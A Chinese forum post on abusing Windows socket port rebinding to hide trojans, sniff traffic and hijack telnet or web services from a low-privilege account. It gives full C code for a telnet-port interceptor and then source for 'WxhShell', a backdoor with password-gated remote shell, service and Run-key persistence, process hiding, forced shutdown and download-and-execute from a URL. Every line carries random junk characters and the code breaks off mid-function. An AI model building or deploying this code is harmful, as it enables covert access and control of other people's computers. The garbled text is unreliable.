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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: :Y/aT[  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); .TA)|df ^  
5r 4~vK  
  saddr.sin_family = AF_INET; nD/B :0'  
5PeYQ-B|  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); TM6wjHFm  
3_  J'+  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); p35)K5V  
LAk .f  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 "W6cQsi  
?9{^gW4|  
  这意味着什么?意味着可以进行如下的攻击: el5Pe{j '  
GEy7Vb)  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 cwvJH&%0  
5fk A?Ecqq  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 3HtM<su*h  
I-!7 EC2{!  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 kIS )*_  
s3A(`heoq  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  9U<WR*H  
S>x@9$( ym  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 yWRIh*>nE  
YM;ro5_KF  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 c`3`}&g#  
C0w_pu  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Ux',ma1JK  
=:g\I6'a  
  #include =t_+ajY%  
  #include `m(ZX\W]  
  #include QmSj6pB>  
  #include    h *;c"/7  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Y S7lB  
  int main() [7.Num_L  
  { ek5j;%~g1  
  WORD wVersionRequested; A7Y CSjB  
  DWORD ret; {91Y;p C  
  WSADATA wsaData; <#BK(W~$  
  BOOL val; y]{b4e  
  SOCKADDR_IN saddr; X_X7fRC0  
  SOCKADDR_IN scaddr; gHp4q!SJ7  
  int err; yx?oxDJg  
  SOCKET s;  =AaF$R  
  SOCKET sc; JQbaD-  
  int caddsize; +?6]Vu&|f  
  HANDLE mt; -]KgLgJ  
  DWORD tid;   _`=qc/-0  
  wVersionRequested = MAKEWORD( 2, 2 ); V#,|#2otZ  
  err = WSAStartup( wVersionRequested, &wsaData ); ,Zie2I?q  
  if ( err != 0 ) { *j83E[(]  
  printf("error!WSAStartup failed!\n"); :1f,%Z$,q  
  return -1; r:o9:w:  
  } E^n!h06~G  
  saddr.sin_family = AF_INET; @dK_w 'W  
   lW-G]V  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 A ,0}bFK  
 Hvz;[!  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); %fld<O  
  saddr.sin_port = htons(23); _gK}Gi?|  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ZJbaioc\  
  { -{*3<2rFK  
  printf("error!socket failed!\n"); ]+ub R;  
  return -1; 1^NC=IS9z  
  } 6%t6u3  
  val = TRUE; [YlRz  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 $H@   
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) oAN,_1v)  
  { ~-sgk"$  
  printf("error!setsockopt failed!\n"); ozS'n]8*  
  return -1; S`[(y?OF?  
  } &'e+`\  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; aO |@w"p8  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 =4x6v<  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 \``w>Xy8  
F ',1R"/}  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) PQ!'<  
  { "(H%m9K  
  ret=GetLastError(); Fi+ DG?zu  
  printf("error!bind failed!\n"); c9H6\&  
  return -1; 7C2Xy>d~  
  } |;V-;e*  
  listen(s,2); ' $yy  
  while(1) r4FSQ$[9w  
  { FDiDHOR  
  caddsize = sizeof(scaddr); ,^ -%<  
  //接受连接请求 \s8h.xjU  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); C-49u<; ,  
  if(sc!=INVALID_SOCKET) g;R  
  { hUi5~;Q5Fi  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); c9uu4%KG6<  
  if(mt==NULL) hb1h .F  
  { [Ti ' X#  
  printf("Thread Creat Failed!\n"); _{if"  
  break; ffB<qf)?G  
  } d/TFx  
  } 9gK1Gx:  
  CloseHandle(mt); ,?K5/3ss  
  } "6WJj3h N  
  closesocket(s); kN<;*jHV  
  WSACleanup(); 8=f+`e  
  return 0; }3 ~*/30V  
  }   yhK9rcJq6}  
  DWORD WINAPI ClientThread(LPVOID lpParam) -=:tlH n  
  { =dKk #*  
  SOCKET ss = (SOCKET)lpParam; #Sy~t{4  
  SOCKET sc; i%f C`@  
  unsigned char buf[4096]; t,w/L*r+w  
  SOCKADDR_IN saddr; U;ujN8  
  long num; !f!YMpN  
  DWORD val; ]*$o qn=m  
  DWORD ret; &% (1?\~u  
  //如果是隐藏端口应用的话,可以在此处加一些判断 WzdlrkD  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Eos;7$u[  
  saddr.sin_family = AF_INET; iH>JR[A  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 8PeVHpZ  
  saddr.sin_port = htons(23); g-x;a0MQx  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) o2YHT \P n  
  { kot KKs   
  printf("error!socket failed!\n"); <#Fex'4  
  return -1; jtpk5 fJB  
  } ept:<!4  
  val = 100; {9@E[bWp#  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) DB jUHirK  
  { Q[`2? j?  
  ret = GetLastError(); .Xxxz Wyk  
  return -1; "AWk jdj  
  } K;`*n7=IA  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Iw$T'I+4W  
  { w3fD6$  
  ret = GetLastError(); JqN$B\J,  
  return -1; NXOvC!<  
  } e \kR/<L  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ](ztb)  
  { 4Im}!q5;:<  
  printf("error!socket connect failed!\n"); )OlYz!#?  
  closesocket(sc); KJ-Q$ M  
  closesocket(ss); (a,`Y.  
  return -1; 0icB2Jm:D}  
  } JO87rG  
  while(1) s.Mrd~(Drz  
  { 03 v\v9<T  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 #s}tH$MT#  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 =/xXB  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 f|!@H><  
  num = recv(ss,buf,4096,0); {qry2ZT5  
  if(num>0) LM.#~7jC  
  send(sc,buf,num,0); jNIz:_c-~  
  else if(num==0) !P6y_Frpe  
  break; ri9n.-xs  
  num = recv(sc,buf,4096,0); Eh`W J~  
  if(num>0) M9yqJPS}B  
  send(ss,buf,num,0); FzBny[F  
  else if(num==0) ,b+Hy`t  
  break; ws]d,]  
  } {5fq4A A6  
  closesocket(ss); noT}NX%  
  closesocket(sc); zzKU s"u  
  return 0 ; 127@ TN"  
  } QX-M'ur99  
wp/x|AV  
P}PMRAek  
========================================================== )fT0FLl|1  
"bjbJC&T  
下边附上一个代码,,WXhSHELL 6~k qU4lL  
P_@ty~u  
========================================================== M?$tHA~OX  
52 DSKL  
#include "stdafx.h" .9!&x0;  
4vH.B)S-  
#include <stdio.h> 6>EoU-YX}l  
#include <string.h> =\<!kJ\yH  
#include <windows.h> OBPiLCq  
#include <winsock2.h> twTRw:.!f  
#include <winsvc.h> cja-MljD  
#include <urlmon.h> lo >:S1  
4MgG]  
#pragma comment (lib, "Ws2_32.lib") } M\G  
#pragma comment (lib, "urlmon.lib") g{7?#.7  
1Imb"E  
#define MAX_USER   100 // 最大客户端连接数 JDMsco+j5  
#define BUF_SOCK   200 // sock buffer Od]wh  
#define KEY_BUFF   255 // 输入 buffer c$3ZEe  
Y9(BxDP_+Y  
#define REBOOT     0   // 重启 ewinG-hX_  
#define SHUTDOWN   1   // 关机 t2%gS" [  
IG@@CH  
#define DEF_PORT   5000 // 监听端口 (b1rd  
=u&NdMy  
#define REG_LEN     16   // 注册表键长度 W!Rr_'yFe)  
#define SVC_LEN     80   // NT服务名长度 7.v{=UP  
~HgN'#Y?  
// 从dll定义API 3j$,x(ua9  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); VzFzVeJ  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); n<sA?T  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); h1?.x  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); iw EHEi%  
TGPHjSZ1  
// wxhshell配置信息 7o M]qLF  
struct WSCFG { q/YO5>s15  
  int ws_port;         // 监听端口 =0mGfT c  
  char ws_passstr[REG_LEN]; // 口令 o Bp.|8-  
  int ws_autoins;       // 安装标记, 1=yes 0=no hB*3Py27L  
  char ws_regname[REG_LEN]; // 注册表键名 e-o$bf%  
  char ws_svcname[REG_LEN]; // 服务名 !]WC~#|{B  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ok9G9|HA  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 %6<2~  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息  *FoPs  
int ws_downexe;       // 下载执行标记, 1=yes 0=no A}n5dg0u  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" AwGDy +  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 j: B,K.:  
E@;v|Xc  
}; 1^=[k  
: ]JsUb{YK  
// default Wxhshell configuration \"@`Rf   
struct WSCFG wscfg={DEF_PORT, >za=v  
    "xuhuanlingzhe", GEf[k OQ  
    1, 04<T2)QgK  
    "Wxhshell", ;%aWA  
    "Wxhshell", ol8uV{:"  
            "WxhShell Service", 6NqLo^ "g  
    "Wrsky Windows CmdShell Service", GUK3`}!%  
    "Please Input Your Password: ", 7wc{.~+  
  1, Bc y$"F|r  
  "http://www.wrsky.com/wxhshell.exe", gIXc-=Ut  
  "Wxhshell.exe" qS+Ilg  
    }; S1n 'r}z8  
/ k8;k56  
// 消息定义模块 Y3wL EG%,:  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; rO{"jJ  
char *msg_ws_prompt="\n\r? for help\n\r#>"; x?Oc<CQ-2  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ( G6N@>V(`  
char *msg_ws_ext="\n\rExit."; TMQu'<?V  
char *msg_ws_end="\n\rQuit."; O/R>&8R$  
char *msg_ws_boot="\n\rReboot..."; y0XI?Wr  
char *msg_ws_poff="\n\rShutdown..."; ]^\+B4  
char *msg_ws_down="\n\rSave to "; $JXQn  
\it<]BN  
char *msg_ws_err="\n\rErr!"; ,o j\=2  
char *msg_ws_ok="\n\rOK!"; u~d&<_Z  
@AdJu-u  
char ExeFile[MAX_PATH]; /waZ9  
int nUser = 0; V_7xXuM/  
HANDLE handles[MAX_USER]; :`P;(h  
int OsIsNt; tlFc+3  
}tT*Ch?u  
SERVICE_STATUS       serviceStatus; 9^c"HyR  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; {VE$i2nC8  
l+V5dZ8W  
// 函数声明 "ae55ft//  
int Install(void); Jid:$T>  
int Uninstall(void); 5{|\h}  
int DownloadFile(char *sURL, SOCKET wsh); $pGk%8l%  
int Boot(int flag); aw:0R=S,>  
void HideProc(void); {*C LWs4  
int GetOsVer(void); -0doL ^A  
int Wxhshell(SOCKET wsl); .el_pg  
void TalkWithClient(void *cs); KPA5 X]  
int CmdShell(SOCKET sock); MXhRnVz"W  
int StartFromService(void); B1Iq:5nmoS  
int StartWxhshell(LPSTR lpCmdLine); VI`x fmVOQ  
way-Q7  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); X_eV<]zA+  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 8Lpy`He  
Zb#  
// 数据结构和表定义 \:?H_^^ d  
SERVICE_TABLE_ENTRY DispatchTable[] = ]H|1q uT  
{ .*g;2.-qv&  
{wscfg.ws_svcname, NTServiceMain}, 3?uP$(l  
{NULL, NULL} tgYIM`f  
}; :PaFC{O)*  
m,TqyP#  
// 自我安装 t(MlZ>H  
int Install(void) X|wXTecg*|  
{ #Y*AGxk  
  char svExeFile[MAX_PATH]; F'#e]/V1  
  HKEY key; :1>R~2  
  strcpy(svExeFile,ExeFile); |E]YP~h  
hTn }AsfLY  
// 如果是win9x系统,修改注册表设为自启动 g `B?bBg  
if(!OsIsNt) { #z t+U^#)  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { a~~"2LE`  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /aJl0GL4!  
  RegCloseKey(key);  D-4 PEf  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Dx[t?-  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8`qw1dF  
  RegCloseKey(key); %GS)9{T&  
  return 0; Urx gKTry  
    } 8YN+ \  
  } cY>;(x@  
} Ec6{?\  
else { sEvJ!$Tt?I  
}%R6Su]y  
// 如果是NT以上系统,安装为系统服务  Phgn|  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ]@ [=FK^  
if (schSCManager!=0) }wkBa]  
{ ]3QQ"HLcp  
  SC_HANDLE schService = CreateService _L!"3  
  ( 6<t\KMd  
  schSCManager, 73.o{V  
  wscfg.ws_svcname, 6v1#i  
  wscfg.ws_svcdisp, %9NGVC  
  SERVICE_ALL_ACCESS, W#y)ukRv  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , xD1B50y U  
  SERVICE_AUTO_START, }u+R,@l/  
  SERVICE_ERROR_NORMAL, e:V,>RbC0s  
  svExeFile, ]@?3,N  
  NULL, z4J-qK~2  
  NULL, |ns^' q  
  NULL, :({lXGc}4?  
  NULL, p-; ]O~^  
  NULL % e1vq  
  ); x{ZVq 4  
  if (schService!=0) uX0wg  
  { sX_^H%fd  
  CloseServiceHandle(schService); `g :<$3}  
  CloseServiceHandle(schSCManager); l2`8]Qr   
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); d) o<R;F  
  strcat(svExeFile,wscfg.ws_svcname); %r!#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { H_8@J  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); "| Q&  
  RegCloseKey(key); ln=zGX.e  
  return 0; yMSRUQ x  
    } $uLzC]  
  } ci^-0l_O  
  CloseServiceHandle(schSCManager); oC[wYUDg  
} Mm[%v t40  
} Y]gt86  
$qrr]U  
return 1; ?<LG(WY  
} .D>lv_kp  
-owfuS?i=  
// 自我卸载 i ~FCt4  
int Uninstall(void) \qTn"1b Q  
{ 1[Mr2@  
  HKEY key; R&alq  
"4?hK  
if(!OsIsNt) { \qTNWA #'  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ytC{E_  
  RegDeleteValue(key,wscfg.ws_regname); TwhK>HN  
  RegCloseKey(key); n `Xz<Q!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { */+s^{W7  
  RegDeleteValue(key,wscfg.ws_regname); RU >vnDaC  
  RegCloseKey(key); q,(&2./  
  return 0; QNtr=  
  } UQdQtj1'  
} 1aDDl-8,  
} 'OihA^e  
else { dDuA%V0  
f:Ja  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); -*Pt781  
if (schSCManager!=0) h9-Ky@X`  
{ }n 7e_qy4  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 0l6djN  
  if (schService!=0)  =*Yc/  
  { @ixX?N)V  
  if(DeleteService(schService)!=0) { &B85;  
  CloseServiceHandle(schService); bYgYP|@  
  CloseServiceHandle(schSCManager); $P@cS1sB  
  return 0; g|HrhUT;  
  } y,>m#6hx#  
  CloseServiceHandle(schService); ]VH@\ f  
  } )/AvWDKvO  
  CloseServiceHandle(schSCManager); (j I|F-i  
} /t^lI%&  
} H44&u](8{  
8JrGZ8Q4RM  
return 1; N9PM.nbd%  
} V<pqc&f .  
2"'8x?.V  
// 从指定url下载文件 Z4-dF;7  
int DownloadFile(char *sURL, SOCKET wsh) ;$E[u)l  
{ bLzuaNa'  
  HRESULT hr; t5APD?5 c  
char seps[]= "/"; ~b[4'm@  
char *token; *4:/<wI!  
char *file; D` X6'PP  
char myURL[MAX_PATH]; `4q}D-'TF8  
char myFILE[MAX_PATH]; pi}H.iF  
g DG m32  
strcpy(myURL,sURL); j*`!o/=LI  
  token=strtok(myURL,seps); 90ag!   
  while(token!=NULL) mX?{2[  
  { Lx{N%;t*E  
    file=token; K@~#Gdnl  
  token=strtok(NULL,seps); 7uxPkZbb  
  } Z+W&C@Uw  
'uzv\[  
GetCurrentDirectory(MAX_PATH,myFILE); Kc\'s65.]  
strcat(myFILE, "\\"); ;T+U&U0d|  
strcat(myFILE, file); TkoXzG8yE<  
  send(wsh,myFILE,strlen(myFILE),0); Lp)8SmN  
send(wsh,"...",3,0); 7YjucPH#  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); B/hHkOoo  
  if(hr==S_OK) 5(7MQuRR  
return 0; uW9M&"C~  
else Kn$1W=B1.  
return 1; Q3q.*(#  
N:[;E3?O  
} 5yiiPK$qr  
|I5?5 J\  
// 系统电源模块 'f7 *RSKqb  
int Boot(int flag) A<5`[<x$  
{ <^_Vl8%  
  HANDLE hToken; k1U8wdoT  
  TOKEN_PRIVILEGES tkp; 2\\3<  
z\8yB`8b^  
  if(OsIsNt) { dG?a"/MA  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Sw@,<4S  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); `A _8nW)  
    tkp.PrivilegeCount = 1; L{A-0Ffh  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; M6*{#Y?  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ^MHn2Cv/~  
if(flag==REBOOT) { sVdK^|j  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) j~*Z7iu  
  return 0; e=z_+gVm  
} x0h3jw+6  
else { ![]I%'s  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) )c >B23D  
  return 0; <ii1nz  
} &:I +]G/W  
  } LZC?383'  
  else { y2$;t'  
if(flag==REBOOT) { Cm;qDvj+u  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) )USC  
  return 0; YQ@6innT  
} L##8+OJ.L  
else {  pl,Z  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) n`z+ w*  
  return 0; &:CjUaP@  
} k-pEBh OH  
} u 1{ym_  
Y0B1xL@  
return 1; m?VRX .>  
} m_"p$m;  
9N D+w6"  
// win9x进程隐藏模块 2ZG1n#  
void HideProc(void) _|  
{ -+=:+LhSMb  
,;iBeqr5  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); @fH&(@  
  if ( hKernel != NULL ) c\MsVH2 |  
  { A$%!9Cma  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");  AMD?LjY~  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ki~y@@3I  
    FreeLibrary(hKernel); \}x'>6zr2  
  } ff}a <w  
+e8>?dkq  
return; 3[=`uO0\7  
} 6=,#9C9  
CFJjh^ ~=  
// 获取操作系统版本 H[7cA9FI  
int GetOsVer(void) x:?a;muf  
{ '#N5i  
  OSVERSIONINFO winfo; Hg9.<|+yo  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); _0W;)v  
  GetVersionEx(&winfo); i ,IM?+4  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) KHlIK`r  
  return 1; 3U~lI&  
  else J/x@$'  
  return 0; +:,`sdv6o  
} rFq@ ]t3q  
%+xwk=%*  
// 客户端句柄模块 r[v-?W'  
int Wxhshell(SOCKET wsl) +~4bB$6*4)  
{ &6t3SZV  
  SOCKET wsh; a}Fk x  
  struct sockaddr_in client; uPFHlT  
  DWORD myID; II-$WJy  
zd9]qo  
  while(nUser<MAX_USER) inBPT~y  
{ 0Ox|^V  
  int nSize=sizeof(client); [t.%&#baF  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); )t,{YGY#  
  if(wsh==INVALID_SOCKET) return 1; O5^J!(.O\Z  
"@{4.v^}!  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); /:y2Up-  
if(handles[nUser]==0) NYjS  
  closesocket(wsh); IypWVr   
else Vj=Xcn#*8  
  nUser++; 3@yTzaq6  
  } W ~Jzqp9g  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); i$bzdc#s  
]<q}WjXD'  
  return 0; G*(K UG>  
} *t.q m5h  
 L%WME8PB  
// 关闭 socket afY_9g!\  
void CloseIt(SOCKET wsh) 8Z dUPW\e  
{ NT@YLhs?  
closesocket(wsh); mLg{6qm(q  
nUser--; 2gwZb/'i  
ExitThread(0); 7?MB8tJ5r4  
} p?V ?nCv1O  
%GX uuE}mX  
// 客户端请求句柄 RVkU+7  
void TalkWithClient(void *cs) 5pM&h~M  
{ `V&1]C8x  
`*NO_ K  
  SOCKET wsh=(SOCKET)cs; hV-V eKjZ(  
  char pwd[SVC_LEN]; ;P;"F21^>  
  char cmd[KEY_BUFF]; P{S\pWZkk  
char chr[1]; K$GRJ  
int i,j; ^qeY9O  
?GO SeV  
  while (nUser < MAX_USER) { j2 }  
c~^CKgr~R9  
if(wscfg.ws_passstr) { H|;*_  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 4mN].X[,  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !/j,hO4Z4  
  //ZeroMemory(pwd,KEY_BUFF); w; 4jx(  
      i=0; iiX\it$s  
  while(i<SVC_LEN) { %kh#{*q$  
Q(510)  
  // 设置超时 iuC7Y|  
  fd_set FdRead; 1~2R^#rm  
  struct timeval TimeOut; <vB<`   
  FD_ZERO(&FdRead); }bf=Ntk  
  FD_SET(wsh,&FdRead); 22`oFXb'  
  TimeOut.tv_sec=8; dGW {l]N  
  TimeOut.tv_usec=0; SyK9Is{8  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); C$<"w,  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); VEj$^bpp5s  
S]&8St  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #bT8QbJ(  
  pwd=chr[0]; ryxYcEM0  
  if(chr[0]==0xd || chr[0]==0xa) { +T0op4  
  pwd=0; O' +"d%2'  
  break; Q2/MnM  
  } @Od^k#  
  i++; H8@8MFz\  
    } "z^(dF|  
7%}ay  
  // 如果是非法用户,关闭 socket e~{^oM  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); FR x6c  
} E *F*nd]K  
w6T[hZ 9  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); &{%MjKJ._  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Ia629gi5s  
`)R?nV b   
while(1) { } q%jO  
2_;]  
  ZeroMemory(cmd,KEY_BUFF); HH)"]E5  
 i"vawxm  
      // 自动支持客户端 telnet标准   9!9> ?Z  
  j=0; EM=w?T  
  while(j<KEY_BUFF) { 0YzsA#yv  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^Q0&.hL@  
  cmd[j]=chr[0]; ?Jt$a;  
  if(chr[0]==0xa || chr[0]==0xd) { ha*X6R  
  cmd[j]=0; ~>V-*NT8  
  break; $<B +K  
  } 1O |V=K  
  j++; |G(1[RNu  
    } 8-7dokg>  
zv //K_  
  // 下载文件 !;%y$$gxh  
  if(strstr(cmd,"http://")) { wGvhB%8K  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); zJ9v%.e  
  if(DownloadFile(cmd,wsh)) H@{Objh 1  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4j> fI)FUW  
  else lT]=&m>  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >':5?\C+-  
  } `} =yG_!A  
  else { g \Wj+el}  
9UwLF`XM  
    switch(cmd[0]) { 8j%'9vPi  
  Sw)i1S9  
  // 帮助 ncv7t|ZN  
  case '?': { !z"Nv1!~|  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ;7Y[c}V1^  
    break; ) Qq'Wp3i  
  } W>B^S  
  // 安装 Ekv89swl`i  
  case 'i': { <I; 5wv  
    if(Install()) V/PAi.GZ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Py|;kF~![  
    else j{"z4Y4  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !@G)$g=<  
    break; }j46L1T  
    } .WvlaPK  
  // 卸载 fXO_g  
  case 'r': { lWWP03er!  
    if(Uninstall()) f1mHN7hxW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \fZiL!E^7  
    else c'Z: 9?#5  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); B^fT>1P  
    break; t9FDU  
    } +2RNZEc  
  // 显示 wxhshell 所在路径 fW?sYC'  
  case 'p': { ;QBh;jg4  
    char svExeFile[MAX_PATH]; j!\dn!Xwt  
    strcpy(svExeFile,"\n\r"); ?}}qu'N:N  
      strcat(svExeFile,ExeFile); $&hN*7Ts  
        send(wsh,svExeFile,strlen(svExeFile),0); c%z'xM  
    break; 8d!GZgC8R  
    } Qzqc .T  
  // 重启 a+`D'?z  
  case 'b': {  PWH^=K  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); =E(#YCx  
    if(Boot(REBOOT)) }aF  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); jk*tL8?i  
    else { w{!(r  
    closesocket(wsh); ExVDkt0  
    ExitThread(0); tx"LeZZ  
    } gbDX7r-  
    break; cWMUj K/N  
    } yto[8;)_  
  // 关机 [:h5}  
  case 'd': { ;HNq>/{  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); <8!  Tq  
    if(Boot(SHUTDOWN)) ;au*V5a%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,zhJY ?sk  
